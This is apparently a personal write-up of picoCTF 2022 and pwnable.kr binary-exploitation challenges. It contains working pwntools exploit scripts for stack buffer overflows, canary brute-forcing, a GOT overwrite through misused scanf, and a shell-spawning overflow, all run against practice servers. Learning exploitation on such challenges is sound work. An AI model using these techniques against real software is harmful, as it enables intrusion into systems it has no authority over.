pwn
Websites with pwn challs:
https://play.picoctf.org/practice?category=6
https://www.smashthestack.org/main.html
buffer overflow 1 - picoCTF 2022
https://play.picoctf.org/practice/challenge/258
My first ever pwn challenge… let’s do it.
First I downloaded the vuln file and tried to run it.
$ ./vuln
bash: ./vuln: Permission denied
ok let’s change the permissions.
$ chmod +x vuln
$ ./vuln
bash: ./vuln: cannot execute: required file not found
hmm weird. Let’s get some more info
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=685b06b911b19065f27c2d369c18ed09fbadb543, for GNU/Linux 3.2.0, not stripped
oh it’s 32-bit, gotta install lib32-glibc.
$ sudo pacman -S lib32-glibc
$ ./vuln
Please enter your string:
test
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
cool now we can actually run the ELF.
Then I installed https://github.com/pwndbg/pwndbg/tree/dev
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
Then when you launch gdb you see the pwndbg extension being used.
$ gdb
...
pwndbg: loaded 154 pwndbg commands and 44 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Disable Pwndbg context information display with set context-sections ''
pwndbg>
If you don’t want to use the extension you can enable/disable it in ~/.gdbinit
:
set debuginfod enabled on
# source /home/connor/Documents/pwndbg/gdbinit.py
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
Note the vulnerable gets() function used, which we’ll use to overflow buf and edit the EIP register to point to the win function.
EIP is a register in x86 architectures (32bit). It holds the “Extended Instruction Pointer” for the stack. In other words, it tells the computer where to go next to execute the next command and controls the flow of a program.
Decompiling with IDA:
int vuln()
{
int return_address; // eax
char v2[36]; // [esp+0h] [ebp-28h] BYREF
gets(v2);
return_address = get_return_address();
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", return_address);
}
The return_address int is 4 bytes, plus the char buffer is 36 bytes, plus the EBP is 4 bytes.
After those 44 we are overwriting the return address. Let’s verify it:
>>> 'A'*44 + 'BBBB'
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
pwndbg> run
Starting program:
No executable file specified.
Use the "file" or "exec-file" command.
pwndbg> exec-file vuln
pwndbg> run
Starting program: /home/connor/Desktop/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Okay, time to return... Fingers Crossed... Jumping to 0x42424242
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
*EAX 0x41
*EBX 0x41414141 ('AAAA')
ECX 0x0
EDX 0x0
*EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
*ESI 0x8049350 ◂— endbr32
*EBP 0x41414141 ('AAAA')
*ESP 0xffffd5f0 ◂— 0xffffff00
*EIP 0x42424242 ('BBBB')
────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────
Invalid address 0x42424242
...
And you can see *EIP 0x42424242 ('BBBB')
we can control EIP by changing BBBB :)
Now let’s find the address of the win function.
pwndbg> file vuln
Reading symbols from vuln...
Downloading separate debug info for /home/connor/Desktop/vuln
(No debugging symbols found in vuln)
pwndbg> disassemble win
Dump of assembler code for function win:
0x080491f6 <+0>: endbr32
...
We get 080491f6
, then converting to little endian, is f6910408
.
Creating the payload:
import sys
sys.stdout.buffer.write(b"A"*44 + bytes.fromhex('f6910408'))
[~/Desktop]
$ python create_payload.py > payload
[~/Desktop]
$ ./vuln < payload
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
Please create 'flag.txt' in this directory with your own debugging flag.
[~/Desktop]
$ echo "testflag" > flag.txt
[~/Desktop]
$ ./vuln < payload
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
testflag
Segmentation fault (core dumped)
It works locally!
You can also use this function from pwn import p32
to avoid manually converting to little endian.
from pwn import p32, remote
payload = b"A"*44 + p32(0x080491f6)
io = remote("saturn.picoctf.net", 56437)
io.read()
io.sendline(payload)
io.interactive()
$ python solve.py
[+] Opening connection to saturn.picoctf.net on port 56437: Done
[*] Switching to interactive mode
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}
buffer overflow 2 - picoCTF 2022
https://play.picoctf.org/practice/challenge/259
>>> 'a'*112 + 'BBBB'
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB'
pwndbg> run
...
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB
Program received signal SIGSEGV, Segmentation fault.
...
*EIP 0x42424242 ('BBBB')
pwndbg> disassemble win
Dump of assembler code for function win:
0x08049296 <+0>: endbr32
from pwn import p32
import sys
payload = b"A"*112 + p32(0x08049296)
sys.stdout.buffer.write(payload)
This jumps to the win function but segfaults. Let’s look at the win function:
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
We want to overwrite arg1 and arg2. 64-bit programs take function parameters from registers,
but for 32-bit they’re just read off the stack.
Editing the payload:
payload = b"A"*112 + p32(0x08049296) + b'AAAA' + p32(0xCAFEF00D) + p32(0xF00DF00D)
We can see we’ve changed the first 2 stack variables:
00:0000│ esp 0xffffd5f4 ◂— 0xcafef00d
01:0004│ 0xffffd5f8 ◂— 0xf00df00d
02:0008│ 0xffffd5fc ◂— 0x300
03:000c│ 0xffffd600 —▸ 0xffffd620 ◂— 0x1
04:0010│ 0xffffd604 —▸ 0xf7e1fe2c (_GLOBAL_OFFSET_TABLE_) ◂— 0x21fd4c
05:0014│ 0xffffd608 ◂— 0x0
06:0018│ 0xffffd60c —▸ 0xf7c20af9 (__libc_start_call_main+121) ◂— add esp, 0x10
07:001c│ 0xffffd610 ◂— 0x0
Printing the flag :)
$ ./vuln < payload
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AA�AAAA
testflag
from pwn import p32, remote
payload = b"A"*112 + p32(0x08049296) + b'AAAA' + p32(0xCAFEF00D) + p32(0xF00DF00D)
io = remote("saturn.picoctf.net", 54716)
io.read()
io.sendline(payload)
io.read()
print(io.read())
buffer overflow 3 - picoCTF 2022
https://play.picoctf.org/practice/challenge/260
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
char global_canary[CANARY_SIZE];
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
They’ve used a custom canary to try prevent buffer overflow, it’s 4 bytes and checks if its value is the same as at the start of the program.
[~/Desktop]
$ ./vuln
Please create 'canary.txt' in this directory with your own debugging canary.
[~/Desktop]
$ echo "TEST" > canary.txt
memcmp() is being used to check if the current canary is the same as the global canary, but since we choose the buffer size, we can brute 1 byte at a time:
pwndbg> run
Starting program: /home/connor/Desktop/vuln
Downloading separate debug info for system-supplied DSO at 0xf7fc7000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
Ok... Now Where's the Flag?
[Inferior 1 (process 106998) exited normally]
pwndbg>
pwndbg> run
Starting program: /home/connor/Desktop/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 65
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX
***** Stack Smashing Detected ***** : Canary Value Corrupt!
[Inferior 1 (process 107001) exited normally]
pwndbg> p win
$1 = {<text variable, no debug info>} 0x8049336 <win>
pwndbg> run
Starting program: /home/connor/Desktop/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 100
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATESTBBBBBBBBBBBBBBBBCCCC
Ok... Now Where's the Flag?
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
EAX 0x0
*EBX 0x42424242 ('BBBB')
ECX 0x0
*EDX 0xf7e218a0 (_IO_stdfile_1_lock) ◂— 0x0
*EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
*ESI 0x8049640 (__libc_csu_init) ◂— endbr32
*EBP 0x42424242 ('BBBB')
*ESP 0xffffd5f0 ◂— 0xffffff0a
*EIP 0x43434343 ('CCCC')
from pwn import p32
import sys
payload = b'A'*64 + b'TEST' + b'B'*16 + p32(0x8049336)
sys.stdout.buffer.write(b"100\n" + payload)
pwndbg> run < payload
Starting program: /home/connor/Desktop/vuln < payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
Please create 'flag.txt' in this directory with your own debugging flag.
[Inferior 1 (process 107530) exited normally]
from pwn import process, p32, context, remote
from tqdm import trange
def get_canary():
canary = b""
for i in range(1, 5):
for c in trange(65, 256): #65 to speedup
with context.quiet:
#io = process("./vuln")
io = remote("saturn.picoctf.net", 54767)
io.sendlineafter(b"> ", str(64 + i).encode())
io.sendlineafter(b"> ", b'A'*64 + canary + chr(c).encode())
output = io.recvall()
io.close()
if b"?" in output:
canary += chr(c).encode()
break
return canary
canary = get_canary()
print(canary)
#io = process("./vuln")
io = remote("saturn.picoctf.net", 54767)
io.sendlineafter(b"> ", b"100")
io.sendlineafter(b"> ", b'A'*64 + canary + b'B'*16 + p32(0x8049336))
print(io.read())
print(io.read())
# picoCTF{Stat1C_c4n4r13s_4R3_b4D_0bf0b08e}
fd - pwnable.kr
Simply pass in 0x1234 so that the fd argument to the read function is 0 (stdin) then you can enter LETMEWIN
fd@pwnable:~$ ls
fd fd.c flag
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@pwnable:~$
collision - pwnable.kr
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
printf("%c\n", p[i]);
printf("%d\n", ip[i]);
res += ip[i];
}
return res;
}
We can see that a char array is converted to an int array.
The size of ints in c is 2^32. The size of a char is 2^8. So each integer is comprised of 32/8=4 chars.
In c they are also converted in little endian:
#include <stdio.h>
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
printf("%d\n", ip[i]);
res += ip[i];
}
return res;
}
int main() {
char* s = "aabbccddeeffgghhiijj";
unsigned long x = check_password(s);
//printf("%lu\n", x);
}
[~/Desktop]
$ gcc x.c && ./a.out
1650614625
1684300643
1717986661
1751672679
1785358697
[~/Desktop]
$ python
Python 3.11.8 (main, Feb 12 2024, 14:50:05) [GCC 13.2.1 20230801] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> int.from_bytes(b"aabb", 'little')
1650614625
>>> int.from_bytes(b"ccdd", 'little')
1684300643
>>> int.from_bytes(b"eeff", 'little')
1717986661
>>> int.from_bytes(b"gghh", 'little')
1751672679
>>> int.from_bytes(b"iijj", 'little')
1785358697
>>>
I can convert back and forth like so:
>>> int.from_bytes(b"abcd", 'little')
1684234849
>>> long_to_bytes(1684234849)[::-1]
b'abcd'
>>> 0x06C5CEC8 * 4 + 0x06C5CECC == 0x21DD09EC
True
>>> from Crypto.Util.number import *
>>> def f(x):
... return long_to_bytes(x)[::-1]
...
>>> f(0x06C5CEC8)*4 + f(0x06C5CECC)
b'\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06'
col@pwnable:~$ ./col $(echo -e '\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06')
daddy! I just managed to create a hash collision :)
bof - pwnable.kr
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
My goal is to change the key to 0xcafebabe.
$ wget http://pwnable.kr/bin/bof
$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
It’s a 32-bit binary. so I’ll try the same technique from buffer overflow 2 - picoCTF 2022
$ gdb ./bof
...
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000474 _init
0x000004c0 gets@plt
0x000004d0 __stack_chk_fail@plt
0x000004e0 __cxa_finalize@plt
0x000004f0 puts@plt
0x00000500 system@plt
0x00000510 __gmon_start__@plt
0x00000520 __libc_start_main@plt
0x00000530 _start
0x00000570 __do_global_dtors_aux
0x000005f0 frame_dummy
0x00000627 __i686.get_pc_thunk.bx
0x0000062c func
0x0000068a main
0x000006b0 __libc_csu_init
0x00000720 __libc_csu_fini
0x00000730 __do_global_ctors_aux
0x00000768 _fini
pwndbg>
The key is currently 0xdeadbeef, let’s set a breakpoint at func and then try find it on the stack.
‘x’ is used to examine an address, you can see more with x/2, x/3 etc
pwndbg> break func
pwndbg> r
pwndbg> x/10 $ebp
0xffffd628: -10680 1448433311 -559038737 0
0xffffd638: 0 0 0 0
0xffffd648: 0 -136754439
pwndbg> x/10x $ebp
0xffffd628: 0xffffd648 0x5655569f 0xdeadbeef 0x00000000
0xffffd638: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd648: 0x00000000 0xf7d94af9
pwndbg>
So we can see 0xdeadbeef is at $ebp+8
pwndbg> x $ebp
0xffffd628: 0xffffd648
pwndbg> x $ebp+4
0xffffd62c: 0x5655569f
pwndbg> x $ebp+8
0xffffd630: 0xdeadbeef
Now finding the address of our input:
$ gdb bof
...
pwndbg> break func
Breakpoint 1 at 0x56555632
pwndbg> r
Starting program: /home/connor/Desktop/bof
...
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
AAAA
0x56555654 in func ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────
EAX 0xffffd5fc ◂— 'AAAA'
EBX 0xf7f93e2c (_GLOBAL_OFFSET_TABLE_) ◂— 0x21fd4c
*ECX 0xf7f958ac (_IO_stdfile_0_lock) ◂— 0x0
EDX 0x0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
ESI 0x565556b0 (__libc_csu_init) ◂— push ebp
EBP 0xffffd628 —▸ 0xffffd648 ◂— 0x0
ESP 0xffffd5e0 —▸ 0xffffd5fc ◂— 'AAAA'
*EIP 0x56555654 (func+40) ◂— cmp dword ptr [ebp + 8], 0xcafebabe
─────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────
0x5655563d <func+17> mov dword ptr [esp], 0x5655578c
0x56555644 <func+24> call puts <puts>
0x56555649 <func+29> lea eax, [ebp - 0x2c]
0x5655564c <func+32> mov dword ptr [esp], eax
0x5655564f <func+35> call gets <gets>
► 0x56555654 <func+40> cmp dword ptr [ebp + 8], 0xcafebabe
0x5655565b <func+47> jne func+63 <func+63>
↓
0x5655566b <func+63> mov dword ptr [esp], 0x565557a3
0x56555672 <func+70> call puts <puts>
0x56555677 <func+75> mov eax, dword ptr [ebp - 0xc]
0x5655567a <func+78> xor eax, dword ptr gs:[0x14]
─────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ esp 0xffffd5e0 —▸ 0xffffd5fc ◂— 'AAAA'
01:0004│-044 0xffffd5e4 —▸ 0xffffd8cb —▸ 0xffa04e16 ◂— 0x0
02:0008│-040 0xffffd5e8 ◂— 0x0
03:000c│-03c 0xffffd5ec ◂— 0x1c
04:0010│-038 0xffffd5f0 —▸ 0xf7ffcfd0 (_GLOBAL_OFFSET_TABLE_) ◂— 0x33f18
05:0014│-034 0xffffd5f4 ◂— 0x30 /* '0' */
06:0018│-030 0xffffd5f8 ◂— 0x0
07:001c│ eax 0xffffd5fc ◂— 'AAAA'
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
► 0 0x56555654 func+40
1 0x5655569f main+21
2 0xf7d94af9 __libc_start_call_main+121
3 0xf7d94bbd __libc_start_main+141
4 0x56555561 _start+49
────────────────────────────────────────────────────────────────────────────────────
pwndbg> search AAAA
Searching for value: 'AAAA'
[heap] 0x565585b0 'AAAA\n'
[stack] 0xffffd5fc 'AAAA'
pwndbg>
so 0xffffd5fc in my case.
>>> 0xffffd630 - 0xffffd5fc
52
Testing our payload we can see it works:
pwndbg> x $ebp+8
0xffffd630: 0x42424242
from pwn import p32, remote
io = remote("pwnable.kr", 9000)
payload = b"A"*52 + p32(0xcafebabe)
io.sendline(payload)
io.interactive()
$ p solve.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
Local test:
[~/Desktop]
$ cat payload.py
from pwn import *
import sys
payload = b"A"*52 + p32(0xcafebabe)
sys.stdout.buffer.write(payload)
[~/Desktop]
$ (python payload.py; cat) | ./bof
overflow me :
whoami
connor
flag - pwnable.kr
Ultimate Packer for Executables (UPX) is an open-source packer that can reduce the file size of an executable drastically (better than Zip files)
$ wget http://pwnable.kr/bin/flag
$ upx -d flag
$ chmod +x flag
$ ./flag
I will malloc() and strcpy the flag there. take it.
The flag should just be in memory then, we can find it with gdb.
$ gdb flag
pwndbg> break main
pwndbg> r
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
0x000000000040118b in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
RAX 0x6c96b0 ◂— 0x0
RBX 0x401ae0 (__libc_csu_fini) ◂— push rbx
RCX 0x8
*RDX 0x496628 ◂— push rbp /* 'UPX...? sounds like a delivery service :)' */
passcode - pwnable.kr
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
The first interesting thing to note, is that scanf isn’t being used normally, the & signs are missing to indicate the address.
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
So, our plan of attack:
-
from our input to
scanf("%100s", name);
we can edit the value of passcode1 to the address of the fflush function. -
When
scanf("%d", passcode1);
is called, we can edit fflush to point somewhere else. -
We’ll point it to the line
system("/bin/cat flag");
To compile the 32-bit code I had to install lib32-glibc
and lib32-gcc-libs
, then use the -m32
flag for gcc.
I found that the address of passcode1
is at ebp - 0x10
.
So we can send something like this to change passcode1 to whatever we like:
>>> 'A'*96 + 'BBBB'
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
pwndbg> break login
Toddler's Secure Login System 1.0 beta.
enter you name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
pwndbg> x $ebp-0x10
0xffffd618: 0x42424242
Finding the address of fflush (0x804a004
):
[~/Desktop]
$ scp -P2222 passcode@pwnable.kr:/home/passcode/passcode ./passcode
passcode@pwnable.kr's password:
passcode 100% 7485 15.0KB/s 00:00
[~/Desktop]
$ gdb passcode
...
pwndbg> disass fflush
Dump of assembler code for function fflush@plt:
0x08048430 <+0>: jmp DWORD PTR ds:0x804a004
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
We can see system being called at 0x080485ea but we also need the instruction before it to execute.
(The string “/bin/cat flag” starts at 0x80487af)
So we input:
>>> 0x080485e3
134514147
from pwn import p32
import sys
payload = b'A'*96 + p32(0x804a004) + b'134514147'
sys.stdout.buffer.write(payload)
$ python3 payload.py | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
/bin/cat: flag: No such file or directory
Nice, now for the remote:
passcode@pwnable:~$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\xa0\x04\x08134514147" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
random - pwnable.kr
rand() is automatically seeded with the a value of 1 if you do not call srand()
printf("%d\n", random);
gives 1804289383 every time.
>>> 0xdeadbeef ^ 1804289383
3039230856
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
input - pwnable.kr
Stage 1 can be passed with:
input2@pwnable:~$ ./input 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $'\x00' $'\x20\x0a\x0d' 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
For stage 2:
echo -e "\x00\x0a\x00\xff" > mystdin
echo -e "\x00\x0a\x02\xff" > mystderr
./input ... <mystdin 2<mystderr
For stage 3 you usually set environment variables like export x=5
in that shell session but
I couldn’t get it to work with bytes. So, I tried just running a c script to set it temporarily,
using the setenv function. I later learned
Environment variables set with the setenv() function will only exist for the life of the program, and are not saved before program termination.
For this reason I decide to redo everything with pwntools at the end.
For stage 4:
echo -e "\x00\x00\x00\x00" > $'\n'
For stage 5, choose some random port in the arguments, then it sets up a listener we can send bytes to:
from pwn import remote
io = remote("127.0.0.1", 1234)
io.sendline(b"\xde\xad\xbe\xef")
input2@pwnable:~$ mkdir /tmp/y
input2@pwnable:~$ ls
flag input input.c
input2@pwnable:~$ ln -s ~/flag /tmp/y/flag
input2@pwnable:~$ cd /tmp/y
input2@pwnable:/tmp/y$ vim solve.py
input2@pwnable:/tmp/y$ cat solve.py
from pwn import process, remote
import os
# stage 1
argv = ["/home/input2/input"] + ["0"]*64 + [b"\x00", b"\x20\x0a\x0d", "1234"] + ["0"]*32
# stage 2
r1, w1 = os.pipe()
r2, w2 = os.pipe()
os.write(w1, b'\x00\x0a\x00\xff')
os.write(w2, b'\x00\x0a\x02\xff')
# stage 3
env = {'\xde\xad\xbe\xef' :'\xca\xfe\xba\xbe'}
# stage 4
open(b'\x0a', 'wb').write(b'\x00\x00\x00\x00')
io = process(argv=argv, stdin=r1, stderr=r2, env=env)
# stage 5
io2 = remote('127.0.0.1', 1234)
io2.sendline(b"\xde\xad\xbe\xef")
print(io.recv().decode())
print(io.recv().decode())
input2@pwnable:/tmp/y$ python solve.py
[+] Starting local process '/home/input2/input': pid 306485
[+] Opening connection to 127.0.0.1 on port 1234: Done
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
[*] Closed connection to 127.0.0.1 port 1234
[*] Process '/home/input2/input' stopped with exit code 0 (pid 306485)
input2@pwnable:/tmp/y$